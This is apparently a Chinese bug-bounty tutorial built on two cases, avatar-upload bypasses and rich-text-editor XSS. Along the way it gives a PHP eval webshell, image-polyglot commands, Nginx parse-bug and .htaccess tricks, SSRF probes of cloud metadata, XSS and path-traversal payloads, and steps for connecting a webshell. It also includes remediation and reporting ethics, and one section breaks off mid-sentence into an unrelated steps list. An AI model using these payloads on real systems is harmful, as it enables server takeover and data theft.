1. 项目概述:从两个真实案例看SRC漏洞挖掘的实战门道
最近和几个刚入行安全的朋友聊天,发现他们对“漏洞挖掘”和“SRC”这两个词既向往又迷茫。向往的是那份技术挑战感和潜在的回报,迷茫的是不知道从何下手,总觉得那些在SRC平台上提交漏洞的大佬们有什么“独门秘籍”。其实,哪有什么秘籍,无非是扎实的基础、清晰的思路和大量的实践。今天,我就结合自己最近在实战中遇到的两个非常典型、且极具教学意义的SRC案例,来和大家掰开揉碎了聊聊,一个看似简单的功能点背后,究竟藏着多少种“打开方式”。这两个案例,一个关于“头像上传”,一个关于“富文本编辑器”,都是Web应用里再常见不过的功能,但恰恰是这种高频、通用的功能,最容易因为开发人员的疏忽或安全意识的薄弱,成为攻击者的突破口。希望通过这次分享,能帮你建立起一套从功能点切入,到漏洞验证、利用、报告撰写的完整思维框架,让你不再对着SRC平台空有热情,而是能实实在在地挖出属于自己的“第一桶金”。
2. 案例一:头像上传功能的“三重门”与绕过艺术
头像上传,几乎是所有带用户体系的Web应用的标配。开发者的初衷很简单:让用户有个性化的展示。但在安全人员眼里,这个小小的上传按钮,可能连着“任意文件上传”、“存储型XSS”、“SSRF”甚至“远程代码执行(RCE)”等多个高危漏洞的大门。下面这个案例,就是我近期在某企业SRC测试中遇到的一个经典场景,它完美地展示了如何通过层层测试,最终突破防线。
2.1 初探:黑名单过滤与常规绕过
目标应用的头像上传功能位于用户个人中心。前端看起来中规中矩,支持选择JPG、PNG图片,有文件大小限制(2MB)。第一轮测试,我直接上传了一个包含简单PHP Webshell代码的shell.php文件。
结果:前端立刻弹出提示“仅允许上传jpg, png, gif格式文件”。这是一个典型的前端校验,用浏览器的开发者工具(F12)禁用JavaScript或直接抓包修改请求,即可轻松绕过。我使用Burp Suite拦截了上传请求,将文件名shell.php改为shell.jpg,但文件内容保持不变。
二次结果:请求成功发送,但服务器返回了错误:“文件类型不合法”。这说明服务器端也有校验。查看Burp捕获的响应包,发现服务器是通过检查HTTP请求头中的Content-Type字段来判断的,我上传时Content-Type是application/x-php,被拒绝了。于是,在Burp的Repeater模块中,我将Content-Type修改为image/jpeg再次发送。
三次结果:服务器返回“上传成功”,并返回了一个图片访问链接,如https://target.com/uploads/avatar_12345.jpg。访问该链接,返回的却是乱码,浏览器并未将其解析为图片。这说明服务器可能还有第三重校验:文件内容(魔术字节)或文件扩展名黑名单。
注意:很多应用会采用“文件头校验”(即检查文件内容最开始的几个字节,如图片的
FF D8 FF E0或89 50 4E 47)。仅仅修改文件名和Content-Type是不够的。
绕过尝试:我制作了一个图片马。使用命令copy /b normal.jpg + shell.php webshell.jpg(Windows)或cat normal.jpg shell.php > webshell.jpg(Linux),将一个正常的图片和一个PHP小马合并。上传这个webshell.jpg文件,并确保Burp中文件名和Content-Type都正确。
最终结果:上传成功,返回路径https://target.com/uploads/avatar_12345.jpg。直接访问这个路径,浏览器显示的是图片(因为文件头是合法的图片格式)。但是,我们的目标是执行PHP代码。这里就需要利用“解析漏洞”。我尝试了常见的解析特性:
- 路径截断(已较少见):
webshell.jpg%00.php。 - Apache解析漏洞:
webshell.jpg.php(旧版本Apache可能将file.php.jpg解析为PHP)。 - Nginx解析漏洞:
webshell.jpg(配置错误时,Nginx可能将.jpg文件传递给PHP-FPM解析)。 - .htaccess文件控制:如果服务器是Apache且允许上传
.htaccess文件,我们可以先上传一个内容为AddType application/x-httpd-php .jpg的.htaccess文件,然后再上传webshell.jpg,它就会被当作PHP执行。
在这个案例中,我逐一测试,发现目标服务器是Nginx,且存在错误配置。当我访问https://target.com/uploads/avatar_12345.jpg/.php时(注意末尾的/.php),Nginx在路径解析时,错误地将整个路径传递给后端PHP处理,而PHP在处理avatar_12345.jpg/.php时,由于/.php被当作路径信息(PATH_INFO),它仍然会尝试去读取avatar_12345.jpg这个文件,并因为路径中包含.php扩展名而用PHP解析器去执行它!于是,我的图片马中的PHP代码成功执行。
实操心得:这个阶段的核心是“组合拳”。不要满足于绕过一层防御。前端校验、Content-Type校验、文件头校验、黑名单扩展名校验是常见的四道关卡。我们的测试流程应该是:前端绕过 -> 修改Content-Type -> 制作图片马 -> 寻找解析漏洞或.htaccess上传机会。工具上,Burp Suite的Repeater和Intruder模块(用于Fuzz可能的解析后缀)是必备的。
2.2 深挖:从上传点到存储型XSS与CSRF
成功上传Webshell意味着拿到了“任意文件上传”漏洞,这通常是高危。但漏洞挖掘不应止步于此。我们回过头审视这个上传功能的其他参数。
在Burp中观察上传请求的完整数据包:
POST /api/user/avatar/upload HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="webshell.jpg" Content-Type: image/jpeg ... Content-Disposition: form-data; name="avatar_url" ...我发现除了file字段,还有一个avatar_url字段。这个字段是做什么的?通过修改测试,发现当file字段为空,而avatar_url填入一个互联网图片URL时,系统会从该URL下载图片并设置为用户头像。
这立刻引发了两个新的攻击思路:
- 服务器端请求伪造(SSRF):
avatar_url参数是否可以被用来探测内网?我尝试将其值改为http://127.0.0.1:8080或http://169.254.169.254/latest/meta-data/(AWS元数据服务)。通过观察服务器响应时间、返回的错误信息或最终头像的显示(如果下载失败,可能会显示默认头像或报错信息),可以间接判断内网端口或服务的存活性。在这个案例中,改为内网地址后,响应时间显著变长,最终返回“图片下载失败”,这暗示了内网对应端口可能存在服务。 - 存储型跨站脚本(XSS):如果
avatar_url下载的图片,其URL最终会以<img src="[下载的图片URL]">的形式输出在个人主页或评论区呢?我尝试构造一个URL:avatar_url=http://attacker.com/xss.jpg,而xss.jpg并不是一个图片,其文件内容实际上是:<svg onload=alert(document.domain)>。如果服务器未对下载的内容做严格的MIME类型检查,或者前端直接信任了服务器返回的存储路径并作为img的src输出,那么当其他用户浏览我的个人主页时,浏览器可能会尝试加载这个“图片”,如果该文件被以text/html类型服务,就可能触发XSS。经过测试,目标应用在下载后会对文件内容做二次图片格式校验,此路不通。但思路值得记录:任何用户可控的、最终会嵌入到页面中的URL,都是XSS的潜在源头。
此外,整个上传请求缺少CSRF Token。这意味着我可以构造一个恶意页面,诱骗已登录目标网站的用户访问,该页面会自动发起一个POST请求,将受害者的头像替换为我指定的恶意图片(比如包含反动内容的图片,造成社会工程学攻击)。这对于SRC来说,是一个中危的CSRF漏洞。
排查技巧实录:遇到文件上传功能,务必检查请求包中的所有参数,特别是那些非file字段的文本参数。它们可能代表着“远程URL上传”、“图片裁剪参数”等附加功能,每一个都可能开辟新的攻击面。用Burp的“Send to Intruder”功能,对avatar_url这类参数进行内网常见端口和服务的Fuzz,是发现SSRF的常用手段。
3. 案例二:富文本编辑器中的XSS与路径遍历
第二个案例来自另一个SRC项目,涉及一个在线文档编辑功能,核心是富文本编辑器(RTE)。这类编辑器功能强大,但历史漏洞也多,是XSS的“重灾区”。我的测试聚焦于编辑器的“插入图片”和“附件上传”功能。
3.1 富文本的“马奇诺防线”:过滤与绕过
目标编辑器支持常见的加粗、斜体、插入链接、图片、表格等。首先测试最基本的XSS:在编辑区直接输入<script>alert(1)</script>,保存后查看前端,发现脚本标签被完整地转义输出了,变成了<script>alert(1)</script>。这说明后端有基础的HTML实体编码过滤。
接下来测试图片标签的XSS:通过编辑器按钮插入图片,在图片URL处输入javascript:alert(document.cookie)。保存后,发现生成的HTML是<img src="[安全的占位符路径]" />,javascript:协议被过滤或替换了。这是第二道防线。
然后测试事件处理器:尝试构造<img src=x onerror=alert(1)>。保存后查看源码,发现onerror事件被整个移除了。看来后端使用了类似白名单的HTML净化库(如DOMPurify)。
绕过尝试:富文本编辑器通常允许用户直接切换“源码模式”或“HTML模式”。我找到了这个开关,在源码模式下直接输入<svg onload=alert(1)>。保存!刷新页面!弹窗成功!这是因为后端过滤逻辑可能只对通过编辑器可视化按钮插入的内容进行严格过滤,而对用户在源码模式下直接输入的内容,过滤策略可能有所不同或存在遗漏。这是一个非常经典的绕过场景。
更深层的利用:即使源码模式也被严格过滤,还可以关注编辑器的“自定义样式”或“CSS类名”功能。有些编辑器允许为元素添加CSS类。如果前端框架或样式表处理不当,可能会构造出利用CSS的XSS(虽较少见),或者通过类名进行DOM Clobbering攻击。在这个案例中,我进一步测试发现,插入的图片可以设置一个class属性。虽然不能直接执行JS,但如果应用存在这样的前端代码:var userClass = document.querySelector('img').className; eval(userClass);(这很极端),那就危险了。实际中更常见的是,通过控制class或id,与页面已有的JS逻辑发生不可预期的交互。
3.2 附件上传中的路径遍历与信息泄露
该编辑器还支持上传附件(如PDF、Word文档)。上传一个测试文档test.pdf,成功上传后,返回了一个下载链接:https://target.com/files/download?file=encrypted_filename_xyz123.pdf。
这里有几个关键点需要测试:
- 参数篡改(Path Traversal):
file参数看起来是经过编码或哈希的文件名。尝试进行路径遍历攻击:将参数改为file=../../../etc/passwd或file=../../../../windows/win.ini。服务器返回“文件不存在”。尝试URL编码:file=..%2f..%2f..%2fetc%2fpasswd,同样失败。这说明后端可能不是直接使用原始文件名,而是通过一个映射表或数据库来查找文件真实路径,初步防御有效。 - 信息泄露:但是,当我把
file参数的值改为一个不存在的、但格式类似的值,如file=encrypted_filename_xyz123.png(扩展名不同),服务器返回了不同的错误信息:“文件类型不匹配,无法预览”。而如果是一个完全不存在的加密名,则返回“文件不存在”。这种差异化的错误信息,可能暴露系统的内部逻辑。攻击者可以利用这种“布尔型”信息,来推断某个加密文件名是否对应有效的文件(即使他不能直接读取内容)。 - 二次攻击:我注意到,返回的加密文件名
encrypted_filename_xyz123.pdf似乎有规律。xyz123看起来像是用户ID或时间戳的哈希。如果这个生成算法可预测或存在缺陷(例如,使用用户ID+时间戳的MD5,且时间戳可猜),攻击者可能枚举其他用户的文件。我使用Burp Intruder,以数字递增的方式Fuzzxyz123这部分,观察响应状态码(200成功,404失败),试图枚举出其他用户的附件。虽然由于速率限制没有成功枚举到,但这是一种标准的测试方法。
实操心得:对于富文本编辑器,测试要分层进行:1) 可视化输入过滤;2) 源码模式输入过滤;3) 各种属性(href, src, style, class,>
- (可选)使用Burp Suite拦截上传请求。
- 制作图片Webshell:
cat normal.jpg shell.php > shell.jpg。其中shell.php内容为<?php @eval($_POST['cmd']);?>。
- 上传
shell.jpg文件。确保上传请求中Content-Type: image/jpeg。
- 上传成功,服务器返回文件地址,例如:
https://target.com/uploads/avatar_12345.jpg。
- 访问
https://target.com/uploads/avatar_12345.jpg/.php。
- 使用中国蚁剑等工具,连接URL
https://target.com/uploads/avatar_12345.jpg/.php,密码为cmd,即可成功获取Webshell,验证RCE。
- 截图1:上传请求包(Burp中),显示修改后的
Content-Type和文件名。 - 截图2:服务器返回的成功响应,包含文件路径。
- 截图3:访问
/.php路径时,浏览器显示空白(因为Webshell无输出)或中国蚁剑连接成功的截图。 - (可选)录制一个简短的GIF或视频,展示从上传到连接成功的完整过程。
- 文件类型校验:使用白名单机制,只允许特定的扩展名(如.jpg, .png)。同时,在服务器端使用文件流读取文件头(魔术字节)进行双重验证,而不仅仅依赖扩展名和
Content-Type。 - 重命名文件:上传后使用随机生成的文件名(如UUID),避免使用用户原始文件名,并禁止用户控制文件扩展名。
- 隔离存储:将上传的文件存储在Web根目录之外,通过后端脚本(如
download.php?file=id)来读取和输出文件,避免直接HTTP访问。 - 权限设置:确保上传目录没有执行脚本的权限(如通过
chmod或服务器配置)。 - 安全配置:检查并修正Nginx配置,避免出现
location ~ \.php$配置不当导致的解析漏洞。确保PHP配置中cgi.fix_pathinfo=0。 - WAF/安全组件:部署Web应用防火墙,检测恶意文件上传行为。
4.2 让报告脱颖而出的细节
- 语言专业且清晰:避免情绪化语言,如“你们这个漏洞太低级了”。使用客观、技术性的描述。
- 危害阐述要具体:不要只说“危害很大”。要说明“攻击者可利用此漏洞获取服务器权限,进而窃取数据库数据、植入后门、作为跳板攻击内网其他系统等”。
- POC要无害:验证漏洞时,执行的命令尽量是
whoami、id、echo 'test' > /tmp/test.txt等无害命令,并在报告中说明。绝对不要执行rm -rf /或读取真实敏感数据。 - 一步一截图:复现步骤的每个关键节点都配上截图,截图要包含浏览器地址栏或Burp的完整界面,信息充分。
- 遵守平台规则:在测试和报告中,严格遵守该SRC平台的规定,不进行未授权的深度测试(如内网横向移动)、不泄露敏感数据、不破坏系统可用性。
撰写报告的过程,也是对自己漏洞挖掘思路的一次复盘和梳理。它能帮你查漏补缺,有时在写报告时,你甚至会发现自己对漏洞的理解还有模糊之处,从而促使你进行更深入的测试。
5. 漏洞挖掘的通用心法与工具链
通过以上两个案例,我们可以提炼出一些通用的漏洞挖掘心法和工具使用技巧。
5.1 心法:攻击面枚举与深度测试思维
- 功能点即攻击面:不要被复杂的应用吓到。将其拆解为一个个独立的功能点:登录、注册、搜索、上传、下载、编辑、支付、API接口等。每个点都是一个独立的测试单元。
- 参数是突破口:对每个功能点,用Burp抓取所有请求,仔细查看每一个参数(GET/POST/Header/Cookie)。问自己:这个参数用户可控吗?它被用来做什么?如果传入一个异常值(超长字符串、特殊字符、路径遍历序列、另一个用户的ID),会发生什么?
- 信任边界不可信:牢记“一切用户输入皆不可信”。这包括但不限于:表单输入、URL参数、HTTP头、文件上传、第三方API回调数据。后端必须对所有这些输入进行严格的校验、过滤、转义。
- 错误信息是宝藏:密切关注应用返回的所有错误信息(包括HTTP状态码、响应体、甚至响应时间的差异)。它们常常会泄露服务器路径、数据库类型、SQL语句结构、内部逻辑等敏感信息。
- 组合拳攻击:单个漏洞可能危害有限,但组合起来威力巨大。例如,一个反射型XSS可能只是中低危,但如果结合CSRF,就能在用户不知情下触发XSS,危害升级。文件上传漏洞如果能结合解析漏洞或文件包含漏洞,就能实现RCE。
5.2 工具链:效率倍增器
工欲善其事,必先利其器。以下是我日常高频使用的工具组合:
- 浏览器与代理:
- Burp Suite Professional:毋庸置疑的王者。Repeater用于手动测试和修改请求,Intruder用于Fuzz参数,Scanner用于自动化扫描(辅助发现低悬果实),Comparer用于对比响应差异。它的插件生态(如Authz、Autorize、Turbo Intruder等)能极大提升效率。
- 浏览器开发者工具(F12):前端调试、查看网络请求、监控Console日志、调试JavaScript、查看和修改DOM/Cookies/本地存储。它是分析前端逻辑和测试XSS的必备工具。
- 漏洞验证与利用:
- 中国蚁剑/AntSword:图形化的Webshell管理工具,用于连接和管理一句话木马,验证RCE漏洞非常方便。
- Sqlmap:自动化SQL注入检测和利用工具。对于可能存在SQL注入的点,用Sqlmap可以快速验证和获取数据。但要注意,在SRC测试中,使用自动化工具要格外谨慎,避免对目标造成压力或破坏,最好在获得明确授权或平台允许的范围内使用。
- Nmap:端口扫描和服务识别。在获得一定权限后(如通过SSRF),可用于内网信息收集。
- 信息收集与辅助:
- Subfinder/Amass:子域名枚举工具,用于扩大攻击面。
- Wayback Machine/Archive.org:查看网站历史版本,有时能发现已被删除但仍有用的接口或文件。
- GitHub搜索:搜索目标公司或相关项目的代码仓库,可能泄露API密钥、硬编码密码、内部接口文档等。
最后再分享一个小技巧:建立一个自己的“检查清单”(Checklist)和“Payload库”。将常见的漏洞类型(如SQLi、XSS、文件上传、SSRF、逻辑漏洞等)的测试点、测试方法、常用Payload整理成文档。每次测试新目标时,对照清单逐项检查,可以避免遗漏。同时,把在实战中积累的有效Payload、绕过WAF的技巧、特定框架的漏洞测试方法不断补充进去,这个库就是你最宝贵的财富。漏洞挖掘没有捷径,它是一场耐心、细心和创造力的持久战。从每一个简单的功能点开始,像侦探一样思考,像工匠一样测试,你收获的将不仅仅是SRC的积分和奖金,更是对系统安全深入骨髓的理解。